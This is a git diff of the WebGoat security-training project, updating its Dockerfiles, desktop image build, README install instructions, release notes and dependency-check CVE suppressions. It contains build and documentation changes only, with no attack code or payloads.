"--add-opens", "java.base/java.util=ALL-UNNAMED", \
"--add-opens", "java.base/java.lang.reflect=ALL-UNNAMED", \
"--add-opens", "java.base/java.text=ALL-UNNAMED", \
"--add-opens", "java.desktop/java.beans=ALL-UNNAMED", \
"--add-opens", "java.desktop/java.awt.font=ALL-UNNAMED", \
"--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
"--add-opens", "java.base/java.io=ALL-UNNAMED", \
"--add-opens", "java.base/java.util=ALL-UNNAMED", \
"--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
"--add-opens", "java.base/java.io=ALL-UNNAMED", \
"-Drunning.in.docker=true", \
"-jar", "webgoat.jar", "--server.address", "0.0.0.0" ]
HEALTHCHECK --interval=5s --timeout=3s \
CMD curl --fail http://localhost:8080/WebGoat/actuator/health || exit 1

47
Dockerfile_desktop Normal file
View File

@ -0,0 +1,47 @@
FROM lscr.io/linuxserver/webtop:ubuntu-xfce
LABEL name="WebGoat: A deliberately insecure Web Application"
LABEL maintainer="WebGoat team"
WORKDIR /config
COPY target/webgoat-*.jar /config/webgoat.jar
COPY config/desktop/start_webgoat.sh /config/start_webgoat.sh
COPY config/desktop/start_zap.sh /config/start_zap.sh
COPY config/desktop/WebGoat.txt /config/Desktop/
RUN \
apt-get update && \
apt-get --yes install vim nano gzip
RUN \
case $(uname -m) in \
x86_64) ARCH=x64;; \
aarch64) ARCH=aarch64;; \
*) ARCH=unknown;; \
esac && \
echo ${ARCH}
RUN \
curl -LO https://github.com/zaproxy/zaproxy/releases/download/v2.15.0/ZAP_2.15.0_Linux.tar.gz && \
tar zfxv ZAP_2.15.0_Linux.tar.gz && \
rm -rf ZAP_2.15.0_Linux.tar.gz
RUN \
case $(uname -m) in \
x86_64) ARCH=x64;; \
aarch64) ARCH=aarch64;; \
*) ARCH=unknown;; \
esac && \
echo "oeps == ${ARCH}==" && \
curl -L https://github.com/adoptium/temurin23-binaries/releases/download/jdk-23.0.1%2B11/OpenJDK23U-jre_"${ARCH}"_linux_hotspot_23.0.1_11.tar.gz -o java.tar.gz && \
tar zfxv java.tar.gz && \
rm -rf java.tar.gz && \
chmod +x /config/start_webgoat.sh && \
chmod +x /config/start_zap.sh && \
mv /config/jdk-23.0.1+11-jre /config/java-jdk && \
echo "JAVA_HOME=/config/java-jdk/" >> .bash_aliases && \
echo "PATH=$PATH:$JAVA_HOME/bin" >> .bash_aliases
ENV JAVA_HOME=/config/java-jdk
WORKDIR /config/Desktop

7
FAQ.md Normal file
View File

@ -0,0 +1,7 @@
# FAQ for development
## Introduction
### Integration tests fail
Try to run the command in the console `java -jar ...` and remove `-Dlogging.pattern.console=` from the command line.

View File

@ -1,6 +1,9 @@
This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
Copyright (c) 2002 - 2019 Bruce Mayhew
SPDX-License-Identifier: GPL-2.0-or-later
Copyright (c) 2002 - $today.year Bruce Mayhew
Copyright (c) 2014 - $today.year Nanne Baars
This program is free software; you can redistribute it and/or modify it under the terms of the
GNU General Public License as published by the Free Software Foundation; either version 2 of the
@ -16,4 +19,4 @@ not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, B
Getting Source ==============
Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.

View File

@ -1 +1 @@
Thank you for submitting a pull request to the WebGoat!
Thank you for submitting a pull request to the WebGoat!

115
README.md
View File

@ -1,11 +1,12 @@
# WebGoat 8: A deliberately insecure Web Application
# WebGoat: A deliberately insecure Web Application
[![Pull request build](https://github.com/WebGoat/WebGoat/actions/workflows/pr_build.yml/badge.svg?branch=develop)](https://github.com/WebGoat/WebGoat/actions/workflows/pr_build.yml)
[![java-jdk](https://img.shields.io/badge/java%20jdk-17-green.svg)](https://jdk.java.net/)
[![Build](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml/badge.svg?branch=develop)](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml)
[![java-jdk](https://img.shields.io/badge/java%20jdk-23-green.svg)](https://jdk.java.net/)
[![OWASP Labs](https://img.shields.io/badge/OWASP-Lab%20project-f7b73c.svg)](https://owasp.org/projects/)
[![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest)
[![Gitter](https://badges.gitter.im/OWASPWebGoat/community.svg)](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge)
[![Discussions](https://img.shields.io/github/discussions/WebGoat/WebGoat)](https://github.com/WebGoat/WebGoat/discussions)
[![Conventional Commits](https://img.shields.io/badge/Conventional%20Commits-1.0.0-%23FE5196?logo=conventionalcommits&logoColor=white)](https://conventionalcommits.org)
# Introduction
@ -27,48 +28,78 @@ you are caught engaging in unauthorized hacking, most companies will fire you.
Claiming that you were doing security research will not work as that is the
first thing that all hackers claim.*
![WebGoat](docs/images/webgoat.png)
# Installation instructions:
For more details check [the Contribution guide](/CONTRIBUTING.md)
## 1. Run using Docker
Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/goatandwolf).
Already have a browser and ZAP and/or Burp installed on your machine in this case you can run the WebGoat image directly using Docker.
The easiest way to start WebGoat as a Docker container is to use the all-in-one docker container. This is a docker image that has WebGoat and WebWolf running inside.
Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/webgoat).
```shell
docker run -it -p 127.0.0.1:80:8888 -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf:v8.2.2
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
```
The landing page will be located at: http://localhost
WebGoat will be located at: http://localhost:8080/WebGoat
WebWolf will be located at: http://localhost:9090/WebWolf
**Important**: *Change the ports if necessary, for example use `127.0.0.1:7777:9090` to map WebWolf to `http://localhost:7777/WebGoat`*
**Important**: *Choose the correct timezone, so that the docker container and your host are in the same timezone. As it is important for the validity of JWT tokens used in certain exercises.*
## 2. Standalone
Download the latest WebGoat and WebWolf release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
For some lessons you need the container run in the same timezone. For this you can set the TZ environment variable.
E.g.
```shell
java -Dfile.encoding=UTF-8 -jar webgoat-server-8.2.2.jar [--server.port=8080] [--server.address=localhost] [--hsqldb.port=9001]
java -Dfile.encoding=UTF-8 -jar webwolf-8.2.2.jar [--server.port=9090] [--server.address=localhost] [--hsqldb.port=9001]
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=America/Boise webgoat/webgoat
```
WebGoat will be located at: http://localhost:8080/WebGoat and
WebWolf will be located at: http://localhost:9090/WebWolf (change ports if necessary)
If you want to use OWASP ZAP or another proxy, you can no longer use 127.0.0.1 or localhost. but
you can use custom host entries. For example:
## 3. Run from the sources
```shell
127.0.0.1 www.webgoat.local www.webwolf.local
```
Then you can run the container with:
```shell
docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e WEBGOAT_HOST=www.webgoat.local -e WEBWOLF_HOST=www.webwolf.local -e TZ=America/Boise webgoat/webgoat
```
Then visit http://www.webgoat.local:8080/WebGoat/ and http://www.webwolf.local:9090/WebWolf/
## 2. Run using Docker with complete Linux Desktop
Instead of installing tools locally we have a complete Docker image based on running a desktop in your browser. This way you only have to run a Docker image which will give you the best user experience.
```shell
docker run -p 127.0.0.1:3000:3000 webgoat/webgoat-desktop
```
## 3. Standalone
Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
```shell
export TZ=Europe/Amsterdam # or your timezone
java -Dfile.encoding=UTF-8 -jar webgoat-2023.8.jar
```
Click the link in the log to start WebGoat.
### 3.1 Running on a different port
If for some reason you want to run WebGoat on a different port, you can do so by adding the following parameter:
```shell
java -jar webgoat-2023.8.jar --webgoat.port=8001 --webwolf.port=8002
```
For a full overview of all the parameters you can use, please check the [WebGoat properties file](webgoat-container/src/main/resources/application-{webgoat, webwolf}.properties).
## 4. Run from the sources
### Prerequisites:
* Java 17
* Maven > 3.2.1
* Java 23
* Your favorite IDE
* Git, or Git support in your IDE
@ -83,18 +114,31 @@ Now let's start by compiling the project.
```Shell
cd WebGoat
git checkout <<branch_name>>
mvn clean install
# On Linux/Mac:
./mvnw clean install
# On Windows:
./mvnw.cmd clean install
# Using docker or podman, you can than build the container locally
docker build -f Dockerfile . -t webgoat/webgoat
```
Now we are ready to run the project. WebGoat 8.x is using Spring-Boot.
Now we are ready to run the project. WebGoat is using Spring Boot.
```Shell
mvn -pl webgoat-server spring-boot:run
# On Linux/Mac:
./mvnw spring-boot:run
# On Windows:
./mvnw.cmd spring-boot:run
```
... you should be running webgoat on localhost:8080/WebGoat momentarily
... you should be running WebGoat on http://localhost:8080/WebGoat momentarily.
To change the IP address add the following variable to the WebGoat/webgoat-container/src/main/resources/application.properties file:
Note: The above link will redirect you to login page if you are not logged in. LogIn/Create account to proceed.
To change the IP address add the following variable to the `WebGoat/webgoat-container/src/main/resources/application.properties` file:
```
server.address=x.x.x.x
@ -105,12 +149,17 @@ server.address=x.x.x.x
For specialist only. There is a way to set up WebGoat with a personalized menu. You can leave out some menu categories or individual lessons by setting certain environment variables.
For instance running as a jar on a Linux/macOS it will look like this:
```Shell
export TZ=Europe/Amsterdam # or your timezone
export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE"
export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations"
java -jar webgoat-server/target/webgoat-server-v8.2.2-SNAPSHOT.jar
java -jar target/webgoat-2023.8-SNAPSHOT.jar
```
Or in a docker run it would (once this version is pushed into docker hub) look like this:
```Shell
docker run -d -p 80:8888 -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/goatandwolf
docker run -d -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
```

34
README_I18N.md Normal file
View File

@ -0,0 +1,34 @@
# Multi language support in WebGoat
WebGoat is mainly written in English, but it does support multiple languages.
## Default language selection
1. Current supported languages are: en, fr, de, nl
2. The primary language is based on the language setting of the browser.
3. If the language is not in the list of supported language, the language is English
4. Once logged in, you can switch between the supported languages using a language dropdown menu on the main page
1. After switching a language you are back at the Introduction page
## Adding a new language
The following steps are required when you want to add a new language
1. Update [main_new.html](src/main/resources/webgoat/static/main_new.html)
1. Add the parts for showing the flag and providing the correct value for the flag= parameter
2.
2. Add a flag image to src/main/resources/webgoat/static/css/img
1. See the main_new.html for a link to download flag resources
3. Add a welcome page to the introduction lesson
1. Copy Introduction_.adoc to Introduction_es.adoc (if in this case you want to add Spanish)
2. Add a highlighted section that explains that most parts of WebGoat will still be in English and invite people to translate parts where it would be valuable
4. Translate the main labels
1. Copy messages.properties to messages_es.properties (if in this case you want to add Spanish)
2. Translate the label values
5. Optionally translate lessons by
1. Adding lang specifc adoc files in documentation folder of the lesson
2. Adding WebGoatLabels.properties of a specific language if you want to
6. Run mvn clean to see if the LabelAndHintIntegration test passes
7. Run WebGoat and verify that your own language and the other languages work as expected
If you only want to translate more for a certain language, you only need to do step 4-8

View File

@ -1,16 +1,215 @@
# WebGoat release notes
# WebGoat release notes
## Unreleased
## Version 2025.3
### 🐞 Bug fixes
- Changed URLs imply other exclusion filters for ZAP (#2052)
- XSS lesson stage 12 (2 issues) (#1178)
### 🔄 Technical tasks
- bump docker/setup-qemu-action from 3.4.0 to 3.6.0 (#2049)
- bump docker/build-push-action from 6.14.0 to 6.15.0 (#2050)
## Version 2025.2
### 🐞 Bug fixes
- Fix SQL advanced lesson assignment 5 (#2047)
## Version 2025.1
### 🚀 New functionality
- Introduce Playwright for UI testing
- Refactoring of core code
### 🐞 Bug fixes
- Introduce assignment progress (#2043)
- Add test case for multiple users solving lessons (#2043)
- Register user while already logged in as other user. (#2042)
- Small updates and improvements in HTTP Basic lesson (#2024)
- Improve HTTP basics lesson
- Solve compiler warnings
- Cleanup attack result and builder
- Format all code according to SPDX
- Fixed one invalid solution about CSRF attack (#2010)
- Reset a lesson no longer removes all assignments
- Hint labels showing default text regardless of localization (#1965)
- Automatically solve XSS mitigation (#1957)
- Remove implicit context path guessing (#1956)
- JWT kid/jku lessons (#1949)
- Fix password reset lesson (#1941)
- Fix passing command line arguments (#1933)
- Use banners correctly
- Show boolean operators priority on `where` (#1902)
- Remove WebGoat session object (#1929)
- Reset form and quiz color on reset lesson (#1903)
- XSS lesson typo
- Copying file using `transferTo` sometimes fails. (#1862)
- Fix report card (#1845)
- Success if only Smith earn most salary (#1744)
- Update HttpBasics_plan.adoc - fix broken link to https://www.zaproxy.org/ (#1803)
- Move CSRF to A3 (#1776)
- Fix typo in SQLi blind case
- Use $ instead of jQuery which is undefined (#1736)
- Fix hidden links in MissingFunctionAC.html. (#1710)
### 🔄 Technical tasks
- Lots of dependency updates
## Contributors
Special thanks to the following contributors providing us with a pull request:
- François Capon
- GoogTech HackHuang
- Peter Potrowl
- cap-dev0x
- Benjamin Mouncer
- Jeong Rok Suh
- Rui Melo
- Vandeputte Brice
## Version 2023.8
### 🚀 New functionality
- Consistent environment values and url references (#1677)
- Show directly requested file in requests overview
- Show creating time in file upload overview
### 🐞 Bug fixes
- Fix startup message (#1687)
- Fix/state of software supply chain links (#1683)
- Fix WebWolf UI (#1686)
### 🔄 Technical tasks
- bump actions/setup-java from 3 to 4 (#1690)
- bump commons-io:commons-io from 2.14.0 to 2.15.1 (#1689)
- bump com.diffplug.spotless:spotless-maven-plugin (#1688)
## Version 2023.5
### New functionality
- Update the Docker startup script, it is now possible to pass `skip-nginx` or set `SKIP_NGINX` as environment variable.
- Implement JWT jku example (#1552)
- Java 21 initial support (#1622)
- improve MFAC lesson hint texts for a better user experience (#1424)
- upgrade to Spring Boot version 3 (#1477)
### Bug fixes
- typo in WebGoad.txt (#1667)
- search box moved and jwt encode/decode with little delay (#1664)
- skip validation for JWT (#1663)
- fixed issue in JWT test tool and added robot test (#1658)
- Password reset link test condition more strict and move all WebWolf links to /WebWolf (#1645)
- fix servers id (#1619)
- potential NPE in the stored XSS assignment
- crypto basics broken links
- fixes the default change in trailing slash matching and address the affected assignments
- hint that was breaking the template, causing hints from different assignments to mix (#1424)
- HijackSession lesson template deprecated Tymeleaf attribute
- Fix NPE in IDOR lesson
- Add new assignment IT tests
- XSS mitigation
- Stored Cross-Site Scripting Lesson
- Add Assignment7 Tests
- Fix IDOR lesson
- remove steps from release script (#1509)
- robotframework fails due to updated dependencies (#1508)
- fix Java image inside Docker file The image now downloads the correct Java version based on the architecture.
- Fix typo of HijackSession_content0.adoc
- Restrict SSRF Regexes
- update challenge code - Flags are now wired through a Spring config - Introduced Flag class - Removed Flags from the
FlagController
## Version 2023.4
### New functionality
- [#1422 Add Docker Linux Desktop variant with all tools installed](https://github.com/WebGoat/WebGoat/issues/1422).
Thanks to the [OWASP WrongSecrets project](https://owasp.org/www-project-wrongsecrets/) we now have a Docker Linux
desktop image with all the tools installed. No need to install any tools locally only run the new Docker image. See
README.md for details on how to start it.
- [#1411 JWT: looks that buy as Tom also works with alg:none](https://github.com/WebGoat/WebGoat/issues/1411).
### Bug fixes
- [#1410 WebWolf: JWT decode is broken](https://github.com/WebGoat/WebGoat/issues/1410).
- [#1396 password_reset return 500 Error](https://github.com/WebGoat/WebGoat/issues/1396).
- [#1379 Move XXE to A05:2021-Security Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379).
## Version 2023.3
With great pleasure, we present you with a new release of WebGoat **2023.3**. Finally, it has been a while. This year
starts with a new release of WebGoat. This year we will undoubtedly release more often. From this release on, we began
to use a new versioning scheme (https://calver.org/#scheme).
A big thanks to René Zubcevic and Àngel Ollé Blázquez for keeping the project alive this last year, and hopefully, we
can make
many more releases this year.
### New functionality
- New year's resolution(2022): major refactoring of WebGoat to simplify the setup and improve building times.
- Move away from multi-project setup:
* This has a huge performance benefit when building the application. Build time locally is now
`Total time: 42.469 s` (depends on your local machine of course)
* No longer add Maven dependencies in several places
* H2 no longer needs to run as separate process, which solves the issue of WebWolf sharing and needing to configure
the correct database connection.
- More explicit paths in html files to reference `adoc` files, less magic.
- Integrate WebWolf in WebGoat, the setup was way too complicated and needed configuration which could lead to mistakes
and a not working application. This also simplifies the Docker configuration as there is only 1 Docker image.
- Add WebWolf button in WebGoat
- Move all lessons into `src/main/resources`
- WebGoat selects a port dynamically when starting. It will still start of port 8080 it will try another port to ease
the user experience.
- WebGoat logs URL after startup: `Please browse to http://127.0.0.1:8080/WebGoat to get started...`
- Simplify `Dockerfile` as we no longer need a script to start everything
- Maven build now start WebGoat jar with Maven plugin to make sure we run against the latest build.
- Added `Initializable` interface for a lesson, an assignment can implement this interface to set it up for a specific
user and to reset the assignment back to its original state when a reset lesson occurs. See `BlindSendFileAssignment`
for an example.
- Integration tests now use the same user. This saves a lot of time as before every test used a different user which
triggered the Flyway migration to set up the database schema for the user. This migration took a lot of time.
- Updated introduction lesson to WebWolf.
- Added language switch for support for multiple languages.
- Removed logic to start WebGoat on a random port when port `8080` is taken. We would loop until we found a free port.
We simplified this to just start on the specified port.
- Add Google formatter for all our code, a PR now checks whether the code adheres to the standard.
- Renaming of all packages and folders.
- [#1039 New OWASP Top 10](https://github.com/WebGoat/WebGoat/issues/1093)
- [#1065 New lesson about logging](https://github.com/WebGoat/WebGoat/issues/1065)
### Bug fixes
- [#1193 Vulnerable component lesson - java.desktop does not "opens java.beans" to unnamed module](https://github.com/WebGoat/WebGoat/issues/1193)
- [#1176 Minor: XXE lesson 12 patch not reset by 'lesson reset' while it IS reset by leaving/returning to lesson](https://github.com/WebGoat/WebGoat/issues/1176)
- [#1134 "Exploiting XStream" assignment does not work](https://github.com/WebGoat/WebGoat/issues/1134)
- [#1130 Typo: Using Indrect References](https://github.com/WebGoat/WebGoat/issues/1130)
- [#1101 SQL lesson not correct](https://github.com/WebGoat/WebGoat/issues/1101)
- [#1079 startup.sh issues of WebWolf - cannot connect to the WebGoat DB](https://github.com/WebGoat/WebGoat/issues/1079)
- [#1379 Move XXE to A05:2021-_Security_ Misconfiguration](https://github.com/WebGoat/WebGoat/issues/1379)
- [#1298 SocketUtils is deprecated and will be removed in Spring Security 6](https://github.com/WebGoat/WebGoat/issues/1298)
- [#1248 Rewrite the WebWolf Introduction Lesson with the new changes](https://github.com/WebGoat/WebGoat/issues/1248)
- [#1200 Type cast error in sample code at JWT token section](https://github.com/WebGoat/WebGoat/issues/1200)
- [#1173 --server.port=9000 is not respected on Windows (both cmd as Powershell)](https://github.com/WebGoat/WebGoat/issues/1173)
- [#1103 (A1) path traversel lesson 7 seems broken](https://github.com/WebGoat/WebGoat/issues/1103)
- [#986 - User registration not persistant](https://github.com/WebGoat/WebGoat/issues/986)
## Version 8.2.2
### New functionality
- Docker image now supports nginx when browsing to http://localhost a landing page is shown.
- Docker image now supports nginx when browsing to http://localhost a landing page is shown.
### Bug fixes
@ -18,14 +217,12 @@
- [#1031 SQL Injection (intro) 5: Data Control Language (DCL) the wiki's solution is not correct](https://github.com/WebGoat/WebGoat/issues/1031)
- [#1027 Webgoat 8.2.1 Vulnerable_Components_12 Shows internal server error](https://github.com/WebGoat/WebGoat/issues/1027)
## Version 8.2.1
### New functionality
- New Docker image for arm64 architecture is now available (for Apple M1)
## Version 8.2.0
### New functionality
@ -60,39 +257,40 @@ Special thanks to the following contributors providing us with a pull request:
- maximmasiutin
- toshihue
- avivmu
- KellyMarchewa
- KellyMarchewa
- NatasG
- gabe-sky
## Version 8.1.0
### New functionality
- Added new lessons for cryptography and path-traversal
- Extra content added to the XXE lesson
- Explanation of the assignments will be part of WebGoat, in this release we added detailed descriptions on how to solve the XXE lesson. In the upcoming releases new explanations will be added. If you want to contribute please create a pull request on Github.
- Docker improvements + docker stack for complete container with nginx
- Included JWT token decoding and generation, since jwt.io does not support None anymore
- Explanation of the assignments will be part of WebGoat, in this release we added detailed descriptions on how to solve
the XXE lesson. In the upcoming releases new explanations will be added. If you want to contribute please create a
pull request on Github.
- Docker improvements + docker stack for complete container with nginx
- Included JWT token decoding and generation, since jwt.io does not support None anymore
### Bug fixes
- [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)
- [#811 - Flag submission fails](https://github.com/WebGoat/WebGoat/issues/811)
- [#811 - Flag submission fails](https://github.com/WebGoat/WebGoat/issues/811)
- [#810 - Scoreboard for challenges shows csrf users](https://github.com/WebGoat/WebGoat/issues/810)
- [#788 - strange copy in constructor](https://github.com/WebGoat/WebGoat/issues/788)
- [#788 - strange copy in constructor](https://github.com/WebGoat/WebGoat/issues/788)
- [#760 - Execution of standalone jar fails (Flyway migration step](https://github.com/WebGoat/WebGoat/issues/760)
- [#766 - Unclear objective of vulnerable components practical assignment](https://github.com/WebGoat/WebGoat/issues/766)
- [#708 - Seems like the home directory of WebGoat always use @project.version@](https://github.com/WebGoat/WebGoat/issues/708)
- [#719 - WebGoat: 'Contact Us' email link in header is not correctly set](https://github.com/WebGoat/WebGoat/issues/719)
- [#715 - Reset lesson doesn't reset the "HTML lesson" => forms stay succesful](https://github.com/WebGoat/WebGoat/issues/715)
- [#725 - Vulnerable Components lesson 12 broken due to too new dependency](https://github.com/WebGoat/WebGoat/issues/725)
- [#716 - On M26 @project.version@ is not "interpreted" #7](https://github.com/WebGoat/WebGoat/issues/716)
- [#721 couldn't be able to run CSRF lesson 3: Receive Whitelabel Error Page](https://github.com/WebGoat/WebGoat/issues/721)
- [#724 - Dead link in VulnerableComponents lesson 11](https://github.com/WebGoat/WebGoat/issues/724)
## Contributors
- [#715 - Reset lesson doesn't reset the "HTML lesson" => forms stay succesful](https://github.com/WebGoat/WebGoat/issues/715)
- [#725 - Vulnerable Components lesson 12 broken due to too new dependency](https://github.com/WebGoat/WebGoat/issues/725)
- [#716 - On M26 @project.version@ is not "interpreted" #7](https://github.com/WebGoat/WebGoat/issues/716)
- [#721 couldn't be able to run CSRF lesson 3: Receive Whitelabel Error Page](https://github.com/WebGoat/WebGoat/issues/721)
- [#724 - Dead link in VulnerableComponents lesson 11](https://github.com/WebGoat/WebGoat/issues/724)
## Contributors
Special thanks to the following contributors providing us with a pull request:
- Satoshi SAKAO
@ -107,9 +305,4 @@ Special thanks to the following contributors providing us with a pull request:
And everyone who provided feedback through Github.
Team WebGoat

View File

@ -8,4 +8,4 @@
<suppress files="ContentTypeAssignment.java" checks="IllegalImportCheck" />
<suppress files="SimpleXXE.java" checks="IllegalImportCheck" />
<suppress files="HtmlTamperingTask.java" checks="ParameterName" />
</suppressions>
</suppressions>

View File

@ -1,42 +1,77 @@
<?xml version="1.0" encoding="UTF-8"?>
<suppressions xmlns="https://jeremylong.github.io/DependencyCheck/dependency-suppression.1.3.xsd">
<suppress base="true">
<suppress>
<notes><![CDATA[
This suppresses false positives identified on spring framework.
This suppresses all CVE entries that have a score below CVSS 7.
]]></notes>
<cpe>cpe:/a:pivotal_software:spring_framework</cpe>
<cve>CVE-2020-5398</cve>
<cvssBelow>7</cvssBelow>
</suppress>
<suppress base="true">
<suppress>
<notes><![CDATA[
This suppresses false positives identified on spring framework.
file name: spring-tx-5.3.21.jar
]]></notes>
<cpe>cpe:/a:redhat:undertow</cpe>
<cve>CVE-2019-14888</cve>
</suppress>
<suppress base="true">
<sha1>13f4f564024d2f85502c151942307c3ca851a4f7</sha1>
<cve>CVE-2016-1000027</cve>
</suppress>
<suppress>
<notes><![CDATA[
This suppresses false positives identified on spring framework.
file name: spring-core-5.3.21.jar
]]></notes>
<cpe>cpe:/a:pivotal_software:spring_security</cpe>
<cve>CVE-2018-1258</cve>
</suppress>
<suppress base="true">
<packageUrl regex="true">^pkg:maven/org\.springframework/spring\-core@.*$</packageUrl>
<cve>CVE-2016-1000027</cve>
</suppress>
<suppress>
<notes><![CDATA[
file name: spring-aop-5.3.21.jar
]]></notes>
<packageUrl regex="true">^pkg:maven/org\.springframework/spring\-aop@.*$</packageUrl>
<cve>CVE-2016-1000027</cve>
</suppress>
<suppress>
<notes><![CDATA[
file name: spring-boot-starter-security-2.7.1.jar
]]></notes>
<packageUrl regex="true">^pkg:maven/org\.springframework\.boot/spring\-boot\-starter\-security@.*$</packageUrl>
<cve>CVE-2022-22978</cve>
</suppress>
<suppress>
<notes><![CDATA[
file name: jruby-stdlib-9.2.20.1.jar: jopenssl.jar (shaded: rubygems:jruby-openssl:0.11.0)
]]></notes>
<packageUrl regex="true">^pkg:maven/rubygems/jruby\-openssl@.*$</packageUrl>
<cpe>cpe:/a:jruby:jruby</cpe>
<cve>CVE-2018-1000613</cve>
<cve>CVE-2018-1000180</cve>
<cve>CVE-2017-18640</cve>
<cve>CVE-2011-4838</cve>
</suppress>
<suppress base="true"><!-- vulnerable components lesson -->
<cpe>cpe:/a:openssl:openssl</cpe>
</suppress>
<suppress>
<notes><![CDATA[
file name: xstream-1.4.5.jar
]]></notes>
<packageUrl regex="true">^pkg:maven/com\.thoughtworks\.xstream/xstream@.*$</packageUrl>
<cpe>cpe:/a:xstream_project:xstream</cpe>
<cve>CVE-2017-7957</cve>
<cve>CVE-2016-3674</cve>
<cve>CVE-2020-26217</cve>
<cve>CVE-2020-26258</cve>
</suppress>
<suppress base="true"><!-- webgoat-server -->
<cpe>cpe:/a:postgresql:postgresql</cpe>
<cve>CVE-2018-10936</cve>
</suppress>
<vulnerabilityName>CVE-2013-7285</vulnerabilityName>
<vulnerabilityName>CVE-2016-3674</vulnerabilityName>
<vulnerabilityName>CVE-2017-7957</vulnerabilityName>
<vulnerabilityName>CVE-2020-26217</vulnerabilityName>
<vulnerabilityName>CVE-2020-26258</vulnerabilityName>
<vulnerabilityName>CVE-2020-26259</vulnerabilityName>
<vulnerabilityName>CVE-2021-21341</vulnerabilityName>
<vulnerabilityName>CVE-2021-21342</vulnerabilityName>
<vulnerabilityName>CVE-2021-21343</vulnerabilityName>
<vulnerabilityName>CVE-2021-21344</vulnerabilityName>
<vulnerabilityName>CVE-2021-21345</vulnerabilityName>
<vulnerabilityName>CVE-2021-21346</vulnerabilityName>
<vulnerabilityName>CVE-2021-21347</vulnerabilityName>
<vulnerabilityName>CVE-2021-21348</vulnerabilityName>
<vulnerabilityName>CVE-2021-21349</vulnerabilityName>
<vulnerabilityName>CVE-2021-21350</vulnerabilityName>
<vulnerabilityName>CVE-2021-21351</vulnerabilityName>
<vulnerabilityName>CVE-2021-43859</vulnerabilityName>
</suppress>
<suppress>
<notes><![CDATA[
file name: spring-jcl-5.3.21.jar
]]></notes>
<packageUrl regex="true">^pkg:maven/org\.springframework/spring\-.*@.*$</packageUrl>
<cve>CVE-2016-1000027</cve>
</suppress>
</suppressions>

View File

@ -0,0 +1,10 @@
** Welcome to WebGoat desktop image
With this image you have WebGoat and ZAP and a browser available to you in a browser running on Ubuntu.
You can start WebGoat and ZAP by opening a terminal and type:
./start_webgoat.sh
./start_zap.sh
Happy hacking,
Team WebGoat

View File

@ -0,0 +1,17 @@
#!/bin/sh
/config/java-jdk/bin/java \
-Duser.home=/config \
-Dfile.encoding=UTF-8 \
-DTZ=Europe/Amsterdam \
--add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
--add-opens java.base/java.text=ALL-UNNAMED \
--add-opens java.desktop/java.beans=ALL-UNNAMED \
--add-opens java.desktop/java.awt.font=ALL-UNNAMED \
--add-opens java.base/sun.nio.ch=ALL-UNNAMED \
--add-opens java.base/java.io=ALL-UNNAMED \
--add-opens java.base/java.util=ALL-UNNAMED \
-Drunning.in.docker=false \
-jar /config/webgoat.jar

View File

@ -0,0 +1,3 @@
#!/bin/sh
/config/java-jdk/bin/java -jar /config/ZAP_2.15.0/zap-2.15.0.jar

View File

@ -0,0 +1,4 @@
/*
* SPDX-FileCopyrightText: Copyright © $today.year WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/

File diff suppressed because it is too large Load Diff

View File

@ -1,22 +0,0 @@
FROM eclipse-temurin:17_35-jdk-focal
RUN apt-get update
RUN useradd -ms /bin/bash webgoat
RUN apt-get -y install apt-utils nginx
RUN chgrp -R 0 /home/webgoat
RUN chmod -R g=u /home/webgoat
USER webgoat
COPY --chown=webgoat nginx.conf /etc/nginx/nginx.conf
COPY --chown=webgoat index.html /usr/share/nginx/html/
COPY --chown=webgoat target/webgoat-server-*.jar /home/webgoat/webgoat.jar
COPY --chown=webgoat target/webwolf-*.jar /home/webgoat/webwolf.jar
COPY --chown=webgoat start.sh /home/webgoat
RUN chmod +x /home/webgoat/start.sh
EXPOSE 8080
EXPOSE 9090
WORKDIR /home/webgoat
ENTRYPOINT ["./start.sh"]

View File

@ -1,13 +0,0 @@
# Docker all-in-one image
## Docker build
```shell
docker build --no-cache --build-arg webgoat_version=8.2.0-SNAPSHOT -t webgoat/goatandwolf:latest .
```
## Docker run
```shell
docker run -p 127.0.0.1:80:8888 -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf:latest
```

View File

@ -1,70 +0,0 @@
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
.p1 {
font-family: Arial, Helvetica, sans-serif;
}
